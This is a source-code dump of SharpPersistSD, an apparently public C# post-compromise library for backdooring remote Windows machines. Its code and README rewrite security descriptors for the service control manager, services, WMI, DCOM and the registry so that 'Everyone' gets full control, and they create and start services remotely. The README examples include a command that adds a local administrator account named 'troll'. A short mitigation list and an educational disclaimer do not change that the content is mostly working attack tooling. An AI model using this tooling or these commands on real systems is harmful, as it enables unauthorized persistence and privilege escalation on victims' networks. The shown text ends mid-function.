├── SharpPersistSD.sln
├── SharpPersistSD
├── Properties
│ └── AssemblyInfo.cs
├── SharpPersistSD.csproj
├── RegHelper.cs
├── SvcHelper.cs
└── SharpPersistSD.cs
└── README.md
/SharpPersistSD.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.8.34330.188
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SharpPersistSD", "SharpPersistSD\SharpPersistSD.csproj", "{107EBC1B-0273-4B3D-B676-DE64B7F52B33}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Release|Any CPU = Release|Any CPU
12 | EndGlobalSection
13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
14 | {107EBC1B-0273-4B3D-B676-DE64B7F52B33}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
15 | {107EBC1B-0273-4B3D-B676-DE64B7F52B33}.Debug|Any CPU.Build.0 = Debug|Any CPU
16 | {107EBC1B-0273-4B3D-B676-DE64B7F52B33}.Release|Any CPU.ActiveCfg = Release|Any CPU
17 | {107EBC1B-0273-4B3D-B676-DE64B7F52B33}.Release|Any CPU.Build.0 = Release|Any CPU
18 | EndGlobalSection
19 | GlobalSection(SolutionProperties) = preSolution
20 | HideSolutionNode = FALSE
21 | EndGlobalSection
22 | GlobalSection(ExtensibilityGlobals) = postSolution
23 | SolutionGuid = {81A15924-A5BE-4824-87BD-3339AE661F18}
24 | EndGlobalSection
25 | EndGlobal
26 |
--------------------------------------------------------------------------------
/SharpPersistSD/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // General Information about an assembly is controlled through the following
6 | // set of attributes. Change these attribute values to modify the information
7 | // associated with an assembly.
8 | [assembly: AssemblyTitle("SharpPersistSD")]
9 | [assembly: AssemblyDescription("")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("")]
12 | [assembly: AssemblyProduct("SharpPersistSD")]
13 | [assembly: AssemblyCopyright("Copyright © 2024")]
14 | [assembly: AssemblyTrademark("")]
15 | [assembly: AssemblyCulture("")]
16 |
17 | // Setting ComVisible to false makes the types in this assembly not visible
18 | // to COM components. If you need to access a type in this assembly from
19 | // COM, set the ComVisible attribute to true on that type.
20 | [assembly: ComVisible(false)]
21 |
22 | // The following GUID is for the ID of the typelib if this project is exposed to COM
23 | [assembly: Guid("107ebc1b-0273-4b3d-b676-de64b7f52b33")]
24 |
25 | // Version information for an assembly consists of the following four values:
26 | //
27 | // Major Version
28 | // Minor Version
29 | // Build Number
30 | // Revision
31 | //
32 | // You can specify all the values or you can default the Build and Revision Numbers
33 | // by using the '*' as shown below:
34 | // [assembly: AssemblyVersion("1.0.*")]
35 | [assembly: AssemblyVersion("1.0.0.0")]
36 | [assembly: AssemblyFileVersion("1.0.0.0")]
37 |
--------------------------------------------------------------------------------
/SharpPersistSD/SharpPersistSD.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {107EBC1B-0273-4B3D-B676-DE64B7F52B33}
8 | Library
9 | Properties
10 | SharpPersistSD
11 | SharpPersistSD
12 | v4.7.2
13 | 512
14 | true
15 |
16 |
17 | true
18 | full
19 | false
20 | bin\Debug\
21 | DEBUG;TRACE
22 | prompt
23 | 4
24 |
25 |
26 | none
27 | true
28 | bin\Release\
29 |
30 |
31 | none
32 | 4
33 | x64
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 |
--------------------------------------------------------------------------------
/SharpPersistSD/RegHelper.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Management;
3 | using System.Security.AccessControl;
4 | using System.Security.Principal;
5 |
6 |
7 | namespace SharpPersistSD
8 | {
9 | public class RegHelper
10 | {
11 |
12 | public static string ConvertSDDLAppend(string SDDL, string aSDDL, string type)
13 | {
14 | string returnString = "";
15 |
16 | if (type == "SCM")
17 | {
18 | returnString = "O:SYG:SYD:" + aSDDL + SDDL.Remove(0, 10);
19 | }
20 | else if (type == "SVC")
21 | {
22 |
23 | returnString = "O:SYG:SYD:" + aSDDL + SDDL.Remove(0, 10);
24 | }
25 | else if (type == "DCOM")
26 | {
27 | returnString = SDDL + aSDDL;
28 | }
29 |
30 | return returnString;
31 |
32 | }
33 |
34 | public static string ConvertSDDLCreate(string aSDDL, string type)
35 | {
36 |
37 | string defaultSCMSDDL = @"O:SYG:SYD:";
38 | string defaultSVCSDDL = @"O:SYG:SYD:";
39 |
40 | string returnString = "";
41 |
42 | if (type == "SCM")
43 | {
44 | returnString = "O:SYG:SYD:" + aSDDL + defaultSCMSDDL.Remove(0, 10);
45 | }
46 | else if (type == "SVC")
47 | {
48 |
49 | returnString = "O:SYG:SYD:" + aSDDL + defaultSVCSDDL.Remove(0, 10);
50 | }
51 |
52 | return returnString;
53 |
54 | }
55 |
56 | public static string ConvertPrincipalToSID(string principal)
57 | {
58 |
59 | NTAccount account = new NTAccount(principal);
60 | SecurityIdentifier data = (SecurityIdentifier)account.Translate(typeof(SecurityIdentifier));
61 |
62 | Console.WriteLine("[+] Converted " + principal + " to SID:" + data.ToString());
63 |
64 | return data.ToString();
65 |
66 | }
67 |
68 | public static byte[] SDDLToBinarySD(string SDDL)
69 | {
70 | Console.WriteLine("[+] NewSDDL: " + SDDL);
71 |
72 | ManagementClass mc = new ManagementClass("Win32_SecurityDescriptorHelper");
73 | ManagementBaseObject inParams = mc.GetMethodParameters("SDDLToBinarySD");
74 | inParams["SDDL"] = SDDL;
75 | ManagementBaseObject outParams = mc.InvokeMethod("SDDLToBinarySD", inParams, null);
76 | byte[] Data = (byte[])outParams["BinarySD"];
77 | Console.WriteLine("[+] Converted New SDDL to byte array of length: " + Data.Length);
78 | return Data;
79 | }
80 |
81 | public static string BinarySDToSDDL(byte[] BinarySD)
82 | {
83 | Console.WriteLine("[+] Converted Old SDDL to byte array of length: " + BinarySD.Length);
84 |
85 | ManagementClass mc = new ManagementClass("Win32_SecurityDescriptorHelper");
86 | ManagementBaseObject inParams = mc.GetMethodParameters("BinarySDToSDDL");
87 | inParams["BinarySD"] = BinarySD;
88 | ManagementBaseObject outParams = mc.InvokeMethod("BinarySDToSDDL", inParams, null);
89 | string SDDL = (string)outParams["SDDL"];
90 | Console.WriteLine("[+] OldSDDL: " + SDDL);
91 | return SDDL;
92 | }
93 |
94 |
95 | public static void ShowSecurity(RegistrySecurity security)
96 | {
97 |
98 | foreach (RegistryAccessRule ar in
99 | security.GetAccessRules(true, true, typeof(NTAccount)))
100 | {
101 | Console.WriteLine(" User: {0}", ar.IdentityReference);
102 | Console.WriteLine(" Type: {0}", ar.AccessControlType);
103 | Console.WriteLine(" Rights: {0}", ar.RegistryRights);
104 | Console.WriteLine();
105 | }
106 | }
107 |
108 | public static byte[] HexToBin(string hex)
109 | {
110 | var result = new byte[hex.Length / 2];
111 | for (int i = 0; i < hex.Length; i += 2)
112 | {
113 | result[i / 2] = byte.Parse(hex.Substring(i, 2), System.Globalization.NumberStyles.HexNumber);
114 | }
115 | return result;
116 | }
117 |
118 |
119 | }
120 | }
121 |
--------------------------------------------------------------------------------
/SharpPersistSD/SvcHelper.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Runtime.InteropServices;
3 |
4 |
5 | namespace SharpPersistSD
6 | {
7 | public class SvcHelper
8 | {
9 | [DllImport("advapi32.dll", EntryPoint = "OpenSCManagerW", ExactSpelling = true, CharSet = CharSet.Unicode, SetLastError = true)]
10 | public static extern IntPtr OpenSCManager(
11 | string lpMachineName,
12 | string lpDatabaseName,
13 | uint dwDesiredAccess);
14 |
15 |
16 | [DllImport("advapi32.dll", EntryPoint = "CreateServiceA")]
17 | public static extern IntPtr CreateServiceA(
18 | IntPtr hSCManager,
19 | string lpServiceName,
20 | string lpDisplayName,
21 | uint dwDesiredAccess,
22 | uint dwServiceType,
23 | int dwStartType,
24 | int dwErrorControl,
25 | string lpBinaryPathName,
26 | string lpLoadOrderGroup,
27 | string lpdwTagId,
28 | string lpDependencies,
29 | string lpServiceStartName,
30 | string lpPassword);
31 |
32 | [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)]
33 | public static extern IntPtr OpenService(
34 | IntPtr hSCManager,
35 | string lpServiceName,
36 | uint dwDesiredAccess);
37 |
38 | [DllImport("advapi32.dll", EntryPoint = "ChangeServiceConfig")]
39 | public static extern int ChangeServiceConfigA(
40 | IntPtr hService,
41 | uint dwServiceType,
42 | int dwStartType,
43 | int dwErrorControl,
44 | string lpBinaryPathName,
45 | string lpLoadOrderGroup,
46 | string lpdwTagId,
47 | string lpDependencies,
48 | string lpServiceStartName,
49 | string lpPassword,
50 | string lpDisplayName);
51 |
52 | [DllImport("advapi32.dll", EntryPoint = "ControlService")]
53 | public static extern int ControlService(
54 | IntPtr hService,
55 | int dwNumServiceArgs,
56 | ref SERVICE_STATUS lpServiceStatus
57 | );
58 |
59 | [DllImport("advapi32", SetLastError = true)]
60 | public static extern bool StartService(
61 | IntPtr hService,
62 | int dwControl,
63 | string[] lpServiceArgVectors
64 | );
65 | public enum ACCESS_MASK : uint
66 | {
67 | STANDARD_RIGHTS_REQUIRED = 0x000F0000,
68 | STANDARD_RIGHTS_READ = 0x00020000,
69 | STANDARD_RIGHTS_WRITE = 0x00020000,
70 | STANDARD_RIGHTS_EXECUTE = 0x00020000,
71 | }
72 | public enum SCM_ACCESS : uint
73 | {
74 | SC_MANAGER_CONNECT = 0x00001,
75 | SC_MANAGER_CREATE_SERVICE = 0x00002,
76 | SC_MANAGER_ENUMERATE_SERVICE = 0x00004,
77 | SC_MANAGER_LOCK = 0x00008,
78 | SC_MANAGER_QUERY_LOCK_STATUS = 0x00010,
79 | SC_MANAGER_MODIFY_BOOT_CONFIG = 0x00020,
80 | SC_MANAGER_ALL_ACCESS = ACCESS_MASK.STANDARD_RIGHTS_REQUIRED |
81 | SC_MANAGER_CONNECT |
82 | SC_MANAGER_CREATE_SERVICE |
83 | SC_MANAGER_ENUMERATE_SERVICE |
84 | SC_MANAGER_LOCK |
85 | SC_MANAGER_QUERY_LOCK_STATUS |
86 | SC_MANAGER_MODIFY_BOOT_CONFIG,
87 |
88 | GENERIC_READ = ACCESS_MASK.STANDARD_RIGHTS_READ |
89 | SC_MANAGER_ENUMERATE_SERVICE |
90 | SC_MANAGER_QUERY_LOCK_STATUS,
91 |
92 | GENERIC_WRITE = ACCESS_MASK.STANDARD_RIGHTS_WRITE |
93 | SC_MANAGER_CREATE_SERVICE |
94 | SC_MANAGER_MODIFY_BOOT_CONFIG,
95 |
96 | GENERIC_EXECUTE = ACCESS_MASK.STANDARD_RIGHTS_EXECUTE |
97 | SC_MANAGER_CONNECT | SC_MANAGER_LOCK,
98 |
99 | GENERIC_ALL = SC_MANAGER_ALL_ACCESS,
100 | }
101 | public enum SERVICE_ACCESS : uint
102 | {
103 | STANDARD_RIGHTS_REQUIRED = 0xF0000,
104 | SERVICE_QUERY_CONFIG = 0x00001,
105 | SERVICE_CHANGE_CONFIG = 0x00002,
106 | SERVICE_QUERY_STATUS = 0x00004,
107 | SERVICE_ENUMERATE_DEPENDENTS = 0x00008,
108 | SERVICE_START = 0x00010,
109 | SERVICE_STOP = 0x00020,
110 | SERVICE_PAUSE_CONTINUE = 0x00040,
111 | SERVICE_INTERROGATE = 0x00080,
112 | SERVICE_USER_DEFINED_CONTROL = 0x00100,
113 | SERVICE_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED |
114 | SERVICE_QUERY_CONFIG |
115 | SERVICE_CHANGE_CONFIG |
116 | SERVICE_QUERY_STATUS |
117 | SERVICE_ENUMERATE_DEPENDENTS |
118 | SERVICE_START |
119 | SERVICE_STOP |
120 | SERVICE_PAUSE_CONTINUE |
121 | SERVICE_INTERROGATE |
122 | SERVICE_USER_DEFINED_CONTROL)
123 | }
124 |
125 | public enum ServiceState
126 | {
127 | SERVICE_STOPPED = 0x00000001,
128 | SERVICE_START_PENDING = 0x00000002,
129 | SERVICE_STOP_PENDING = 0x00000003,
130 | SERVICE_RUNNING = 0x00000004,
131 | SERVICE_CONTINUE_PENDING = 0x00000005,
132 | SERVICE_PAUSE_PENDING = 0x00000006,
133 | SERVICE_PAUSED = 0x00000007,
134 | }
135 |
136 | [StructLayout(LayoutKind.Sequential)]
137 | public struct SERVICE_STATUS
138 | {
139 | public uint dwServiceType;
140 | public ServiceState dwCurrentState;
141 | public uint dwControlsAccepted;
142 | public uint dwWin32ExitCode;
143 | public uint dwServiceSpecificExitCode;
144 | public uint dwCheckPoint;
145 | public uint dwWaitHint;
146 | };
147 |
148 | [DllImport("kernel32.dll")]
149 | public static extern uint GetLastError();
150 | }
151 | }
152 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # SharpPersistSD
2 | A Post-Compromise granular, fully reflective, simple and convenient .NET library to embed persistency to persistency by abusing Security Descriptors of remote machines. The techniques incorporated are not novel but I've yet to come across any documented approach of modifying SCM/Service's SDDL by directly modifying registry keys. Modification of SD for WMI and Remote registry was also added in as an after thought but this means there's a lot more to explore and add for the curious minds.
3 |
4 |
5 | ### How is this different from https://github.com/mandiant/SharPersist?
6 | SharPersist is focused on adding persistency on the local machine.
7 | SharpPersistSD is focused on backdooring the remote machine so that persistency or code execution can be established later. (i.e persistency to persistency)
8 | Post backdooring, even a **non local admin** on the remote machine will be able to regain privileged/SYSTEM persistency/execution if using SCM or REG.
9 |
10 |
11 | # Compiled
12 | Refer to release.
13 |
14 | # Compilation
15 |
16 | 1. Git clone / download project and open with visual studio
17 | 2. Rightclick the project -> add reference and add *System.Management* and add *System.Management.Instrumentation*
18 | 3. Compile as x64, Release\
19 | \
20 | *******No other dependencies*******
21 |
22 | # Nomenclature
23 | Methods are named according to **PROTOCOL_ACTION**\
24 | so REG_ModifyRegistryPermissions\
25 | means it uses the RemoteRegistry protocol to modify registry permissions..
26 |
27 | # Caveats
28 | 1. The library checks the SDDL syntax but not the SDDL logic, so best to stick to example SDDL and just change the principal of the SDDL
29 | 2. As this is a Post-Compromise library, it assumes you are running with the relevant privileges and permissions already.
30 | 3. Library is focused for domain environments, but you can use it in workgroup with the relevant additional changes.
31 | 4. Modifying permissions via REG_ModifyRegistryPermissions may not show up immediately when viewing permissions through GUI. Verify it using:
32 | ```
33 | Get-Acl -Path "HKLM:SYSTEM\" | Format-List
34 | ```
35 |
36 | # library
37 |
38 | **REG_ModifyRegistryPermissions(string hostname, string subkey, string principal, bool propogate)**
39 | ```
40 | - subkey: must be like "SYSTEM\" or "SYSTEM\\"
41 | - principal: "EVERYONE", "Domain\User", etc
42 | - propogate: if true, will set permissions to subkeys of the key
43 | ```
44 |
45 | **REG_ModifyRegistryContainingSD(string type, string hostname, string SDDL, string key, string value)**
46 | ```
47 | - type: "DCOM" or "SVC" or "SCM"
48 | - SDDL: any legitimate SDDL string such as "(A;;KA;;;WD)" or "(A;;KA;;;S-1-1-0)"
49 | - Key: key name, if type="SVC", the key must follow the format "SYSTEM\CurrentControlSet\Services\\Security"
50 | - value: value name
51 | ```
52 |
53 | **WMI_ModifyWMISD(string hostname, string SDDL)**
54 | ```
55 | - SDDL: Change the principal component of the SDDL string such as "(A;;CCDCRP;;;WD)" or "(A;;CCDCRP;;;S-1-1-0)"
56 | ```
57 |
58 | **REG_CreateRegKey(string hostname, string key, string value, object data, int REG_TYPE)**
59 | ```
60 | - data: depending on REG_TYPE, you can pass string for string, int for Dword or byte[] for Binary
61 | - REG_TYPE: String = 1, Binary = 3, DWord = 4
62 | ```
63 |
64 | **SCM_CreateAndStart(string hostname, string servicename, string binarypath)**
65 | ```
66 | - servicename: service to create
67 | - binarypath: binarypath in the for "c:\windows\..\example.exe" or "cmd /c blah blah blah"
68 | ```
69 |
70 | **SVC_ModifyAndStart(string hostname, string servicename, string BinaryPathName)**
71 | ```
72 | - servicename: service to create
73 | - binarypath: binarypath in the for "c:\windows\..\example.exe" or "cmd /c blah blah blah"
74 | ```
75 |
76 |
77 | # Example Usage
78 |
79 | ## SCM SD, allow everyone - Requires Reboot for services.exe to restart!!
80 | ```
81 | #Modify SD to allow "EVERYONE" access to service control manager
82 | [SharpPersistSD.SecurityDescriptor]::REG_ModifyRegistryContainingSD("SCM","Hostname","(A;;KA;;;WD)","SYSTEM\CurrentControlSet\Control\ServiceGroupOrder\Security", "Security")
83 |
84 | #Set exemption for non-admin to access services. This sets for all services, you can use REG_CreateRegKey to set for specific service.
85 | [SharpPersistSD.SecurityDescriptor]::REG_CreateRegKey("Hostname", "SYSTEM\CurrentControlSet\Control", "RemoteAccessExemption", 1, 4)
86 |
87 | #After reboot - You must use the provided SCM_CreateAndStart() function. sc.exe will not work to start the service.
88 | #Create and start service
89 | [SharpPersistSD.SecurityDescriptor]::SCM_CreateAndStart("Hostname","troll","cmd /c net users /add troll Trolololol123 && net localgroup administrators /add troll")
90 | ```
91 | ## SVC SD, allow everyone - Requires Reboot for services.exe to restart!!
92 | ```
93 | #Modify SD to allow "EVERYONE" access to specific service (eg.PlugPlay)
94 | [SharpPersistSD.SecurityDescriptor]::REG_ModifyRegistryContainingSD("SVC","Hostname","(A;;KA;;;WD)","SYSTEM\CurrentControlSet\Services\PlugPlay\Security", "Security")
95 |
96 | #Set exemption for non-admin to access services. This sets for all services, you can use REG_CreateRegKey to set for specific service.
97 | [SharpPersistSD.SecurityDescriptor]::REG_CreateRegKey("Hostname", "SYSTEM\CurrentControlSet\Control", "RemoteAccessExemption", 1, 4)
98 |
99 | #After reboot - You must use the provided SVC_ModifyAndStart() function. sc.exe will not work to start the service.
100 | #Modify and start service
101 | [SharpPersistSD.SecurityDescriptor]::SVC_ModifyAndStart("Hostname", "troll", "cmd /c net users /add troll Trolololol123 && net localgroup administrators /add troll")
102 | ```
103 | ## REG SD, allow everyone
104 | ```
105 | #Modify SD to allow "EVERYONE" access to remote registry service
106 | [SharpPersistSD.SecurityDescriptor]::REG_ModifyRegistryPermissions("Hostname","SYSTEM\CurrentControlSet\Control\SecurePipeServers\winreg","EVERYONE",$false)
107 |
108 | #Modify key to allow write
109 | [SharpPersistSD.SecurityDescriptor]::REG_ModifyRegistryPermissions("Hostname","SYSTEM\CurrentControlSet\Control","EVERYONE",$true)
110 |
111 | #Alternatively, you can set it on "SYSTEM", which lets you create services and do just about anything associated with registry keys
112 | ```
113 | ## WMI SD, allow everyone
114 | ```
115 | #Modify SD to allow "EVERYONE" access to WMI
116 | [SharpPersistSD.SecurityDescriptor]::WMI_ModifyWMISD("Hostname","(A;;CCWP;;;WD)")
117 | [SharpPersistSD.SecurityDescriptor]::REG_ModifyRegistryContainingSD("DCOM","Hostname","(A;;CCDCRP;;;WD)","software\microsoft\ole", "MachineLaunchRestriction")
118 |
119 | #Can use any wmi tool to connect (eg. SharpWMI)
120 | ```
121 | ## SCHTASK TaskCache\Tasks key, allow everyone. Must run on LOCAL MACHINE AS SYSTEM
122 | ```
123 | #Modify Reg Key to allow "EVERYONE" access to modify existing scheduled tasks via reg key
124 | [SharpPersistSD.SecurityDescriptor]::REG_ModifyRegistryPermissions("localhost","SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks","EVERYONE",$true)
125 | #Use GhostTask to modify task from remote machine as non admin
126 | ```
127 |
128 | # Blue Team and Mitigations
129 | 1. GPO! GPO! GPO! ENFORCE VIA GPO!
130 | 2. Monitor Registry Changes for the ones mentioned ^
131 | 3. Monitor SERVICE CREATION / STOP / START
132 | 4. Firewall off unneeded protocols
133 |
134 | # Wishlist / Upgrades - which i will not be pursuing
135 | 1. Add features for PSRemoting and yada yada
136 | 2. REG_ uses RemoteRegistry, you can incporate WMI to perform registry actions as well to make WMI_ModifyRegistryPermissions
137 |
138 | # Disclaimer
139 | For educational purposes only!
140 |
141 | # Credits / References
142 | - https://www.c-sharpcorner.com/UploadFile/puranindia/windows-management-instrumentation-in-C-Sharp/
143 | - https://itconnect.uw.edu/tools-services-support/it-systems-infrastructure/msinf/other-help/understanding-sddl-syntax/
144 | - https://gist.github.com/pich4ya/c15af736f0f494c1a560e6c837d77828
145 | - https://learn.microsoft.com/en-us/windows/win32/wmisdk/changing-access-security-on-securable-objects
146 | - https://unlockpowershell.wordpress.com/2009/11/20/script-remote-dcom-wmi-access-for-a-domain-user/
147 | - https://albertherd.com/2017/10/19/code-never-lies-documentation-sometimes-do/
148 | - https://github.com/Mr-Un1k0d3r/SCShell/blob/master/SharpSCShell.cs
149 | - https://www.experts-exchange.com/questions/27096211/VB-net-set-registry-key-remotely.html
150 | - https://raw.githubusercontent.com/samratashok/RACE/master/RACE.ps1
151 | - https://stackoverflow.com/questions/6851961/using-regsetkeysecurity-to-avoid-registry-redirection
152 | - https://forums.powershell.org/t/unable-to-set-acl-on-remote-registry-kindly-help/7078/5
153 | - https://posts.specterops.io/remote-hash-extraction-on-demand-via-host-security-descriptor-modification-2cf505ec5c40
154 | - https://woshub.com/set-permissions-on-windows-service/
155 | - https://support.microsoft.com/en-us/topic/block-remote-callers-who-are-not-local-administrators-from-starting-stopping-services-c5f77f8e-09e6-57e6-72d1-2c4423627a24
156 | - https://vbscrub.com/2020/06/02/windows-createservice-api-bypasses-service-permissions/
157 | - https://github.com/VbScrub/ServiceInstallerTest/blob/master/Program.vb
158 | - https://stackoverflow.com/questions/2732126/deletesubkey-unauthorizedaccessexception
159 | - https://stackoverflow.com/questions/28739477/accessing-a-remote-registry-with-local-credentials-of-the-remote-machine-on-th
160 | - https://www.rhyous.com/2011/08/07/how-to-authenticate-and-access-the-registry-remotely-using-c/
161 |
162 |
163 |
164 |
--------------------------------------------------------------------------------
/SharpPersistSD/SharpPersistSD.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Management;
3 | using System.Security.AccessControl;
4 | using Microsoft.Win32;
5 | using static SharpPersistSD.SvcHelper;
6 | using static SharpPersistSD.RegHelper;
7 |
8 |
9 | namespace SharpPersistSD
10 | {
11 | public static class SecurityDescriptor
12 | {
13 | public static void WMI_ModifyWMISD(string hostname, string SDDL)
14 | {
15 |
16 | try
17 | {
18 |
19 | Console.WriteLine("[+] Using WMI to set WMI SD");
20 |
21 | ManagementClass mc = new ManagementClass(@"\\" + hostname + @"\ROOT\cimv2:__SystemSecurity");
22 |
23 | ManagementBaseObject outParams = mc.InvokeMethod("GetSD", null, null);
24 | byte[] BinarySD = (byte[])outParams["SD"];
25 | string oSDDL = BinarySDToSDDL(BinarySD);
26 | string NewSDDL = oSDDL + SDDL;
27 |
28 | byte[] NewBinarySD = SDDLToBinarySD(NewSDDL);
29 |
30 | ManagementBaseObject inParams = mc.GetMethodParameters("SetSD");
31 | inParams["SD"] = NewBinarySD;
32 | outParams = mc.InvokeMethod("SetSD", inParams, null);
33 |
34 | Console.WriteLine("[+] WMI Return Value: " + outParams["ReturnValue"]);
35 |
36 | }
37 | catch (Exception e)
38 | {
39 | Console.WriteLine("[!] Catch Entered: Something went wrong.. printing error");
40 | Console.WriteLine("[!]" + e.ToString());
41 | }
42 |
43 | }
44 |
45 | public static void REG_ModifyRegistryPermissions(string hostname, string subkey, string principal, bool propogate)
46 | {
47 |
48 | try
49 | {
50 |
51 | Console.WriteLine("[+] Using RemoteRegistry to set Registry Permissions");
52 |
53 | RegistryKey key = RegistryKey.OpenRemoteBaseKey(RegistryHive.LocalMachine, hostname).OpenSubKey(subkey, true);
54 | if (key == null)
55 | {
56 | Console.WriteLine("[!] Specified Key does not exist.. exiting early");
57 | return;
58 | }
59 |
60 | RegistrySecurity rs = new RegistrySecurity();
61 | rs = key.GetAccessControl(AccessControlSections.All);
62 | rs.SetAccessRuleProtection(true, true);
63 |
64 | Console.WriteLine("[+] ---------------Current Access Rules---------------");
65 | ShowSecurity(rs);
66 |
67 | if (propogate)
68 | {
69 | rs.AddAccessRule(
70 | new RegistryAccessRule(
71 | principal,
72 | RegistryRights.FullControl, //Change to relevant permissions
73 | InheritanceFlags.ObjectInherit | InheritanceFlags.ContainerInherit,
74 | PropagationFlags.InheritOnly,
75 | AccessControlType.Allow
76 | )
77 | );
78 |
79 | }
80 | else
81 | {
82 | rs.AddAccessRule(
83 | new RegistryAccessRule(
84 | principal,
85 | RegistryRights.FullControl, //Change to relevant permissions
86 | AccessControlType.Allow
87 | )
88 | );
89 |
90 | }
91 |
92 | Console.WriteLine("[+] Adding new rules.. might be a bit slow..");
93 | key.SetAccessControl(rs);
94 |
95 | Console.WriteLine("[+] ---------------New Access Rules---------------");
96 | ShowSecurity(rs);
97 |
98 | Console.WriteLine("[+] Registry Permissions action successfully completed.");
99 | }
100 | catch (Exception e)
101 | {
102 | Console.WriteLine("Catch Entered: Something went wrong");
103 | Console.WriteLine(e.ToString());
104 | }
105 |
106 | }
107 |
108 |
109 | public static void REG_ModifyRegistryContainingSD(string type, string hostname, string SDDL, string sBaseKey, string value)
110 | {
111 | try
112 | {
113 | Console.WriteLine("[+] Using RemoteRegistry to set Registry SD");
114 |
115 | RegistryKey HKLMHive = RegistryKey.OpenRemoteBaseKey(RegistryHive.LocalMachine, hostname);
116 |
117 | bool exists = false;
118 |
119 | if (HKLMHive.OpenSubKey(sBaseKey, true) != null) { exists = true; }
120 |
121 |
122 | if (exists)
123 | {
124 | //key already exists
125 | Console.WriteLine("[+] Key exists.. proceeding.");
126 |
127 |
128 | RegistryKey FinalKey = HKLMHive.OpenSubKey(sBaseKey, true);
129 |
130 | byte[] obdata = (byte[])FinalKey.GetValue(value);
131 |
132 | string oSDDL = BinarySDToSDDL(obdata);
133 |
134 | string cSDDL = ConvertSDDLAppend(oSDDL, SDDL, type);
135 |
136 | byte[] nbdata = SDDLToBinarySD(cSDDL);
137 |
138 |
139 | FinalKey.SetValue(value, nbdata, RegistryValueKind.Binary);
140 | }
141 | else
142 | {
143 | //key doesnt exists
144 |
145 | RegistryKey FinalKey = HKLMHive.CreateSubKey(sBaseKey, true);
146 |
147 | string cSDDL = ConvertSDDLCreate(SDDL, type);
148 |
149 | byte[] nbdata = SDDLToBinarySD(cSDDL);
150 |
151 | FinalKey.SetValue(value, nbdata, RegistryValueKind.Binary);
152 |
153 |
154 | }
155 |
156 | Console.WriteLine("[+] Registry Permissions action successfully completed.");
157 |
158 |
159 | }
160 | catch (Exception e)
161 | {
162 | Console.WriteLine("[!] Catch Entered: Something went wrong, printing error message.");
163 | Console.WriteLine("[!] " + e.ToString());
164 | }
165 |
166 | return;
167 | }
168 |
169 |
170 | public static void REG_CreateRegKey(string hostname, string key, string value, object data, int REG_TYPE)
171 | {
172 | try
173 | {
174 | Console.WriteLine("[+] Using RemoteRegistry to Create Key, Value, Data");
175 | RegistryKey lastkey = RegistryKey.OpenRemoteBaseKey(RegistryHive.LocalMachine, hostname).OpenSubKey(key, true);
176 | lastkey.SetValue(value, data, (RegistryValueKind)REG_TYPE);
177 |
178 | Console.WriteLine("[+] Successfully Completed REG_CreateRegKey");
179 | }
180 | catch (Exception e)
181 | {
182 | Console.WriteLine("[!] Catch Entered: Something went wrong, printing error message.");
183 | Console.WriteLine("[!] " + e.ToString());
184 | }
185 | return;
186 | }
187 |
188 |
189 | public static void SCM_CreateAndStart(string hostname, string servicename, string binarypath)
190 | {
191 | try
192 | {
193 | Console.WriteLine("[+] Using SVC protocol to Create and Start Service");
194 |
195 | IntPtr SCMHandle = OpenSCManager(hostname, null, (uint)SCM_ACCESS.SC_MANAGER_ALL_ACCESS);
196 |
197 | Console.WriteLine("[+] SCMHandle: 0x{0}", SCMHandle);
198 |
199 | IntPtr svchandle = CreateServiceA(
200 | SCMHandle,
201 | servicename,
202 | servicename, //optional DisplayName
203 | (uint)SERVICE_ACCESS.SERVICE_ALL_ACCESS,
204 | 0x10, //SERVICE_WIN32_OWN_PROCESS
205 | 2, //start_auto
206 | 1, //errorcontrol
207 | binarypath, //binarypath
208 | null, //optional
209 | null, //optional
210 | null, //optional
211 | null, //RunAs (null = localsystem)
212 | null //optional
213 | );
214 | Console.WriteLine("[+] SVChandle: 0x{0}", svchandle);
215 |
216 | bool bResult = StartService(svchandle, 0, null);
217 | uint dwResult = GetLastError();
218 | if (!bResult && dwResult != 1053)
219 | {
220 | Console.WriteLine("[!] StartServiceA failed to start the service. Error:{0}", GetLastError());
221 | }
222 | else
223 | {
224 | Console.WriteLine("[+] Service was started");
225 | }
226 | }
227 | catch (Exception e)
228 | {
229 | Console.WriteLine("[!] Something went wrong..printing error message.");
230 | Console.WriteLine(e.ToString());
231 | }
232 |
233 | }
234 |
235 | public static void SVC_ModifyAndStart(string hostname, string servicename, string BinaryPathName)
236 | {
237 |
238 | try
239 | {
240 |
241 | Console.WriteLine("[+] Using SVC protocol to Modify and Start Service");
242 |
243 | IntPtr SCMHandle = OpenSCManager(hostname, null, (uint)SCM_ACCESS.SC_MANAGER_CONNECT);
244 | Console.WriteLine("[+] SCMHANDLE: 0x{0}", SCMHandle);
245 |
246 | IntPtr svchandle = OpenService(SCMHandle, servicename, ((uint)SERVICE_ACCESS.SERVICE_START | (uint)SERVICE_ACCESS.SERVICE_CHANGE_CONFIG | (uint)SERVICE_ACCESS.SERVICE_STOP));
247 | Console.WriteLine("[*] SVCHANDLE: 0x{0}", svchandle);
248 |
249 | if (svchandle == IntPtr.Zero)
250 | {
251 | Console.WriteLine("[!] OpenService failed! Error:{0}", GetLastError());
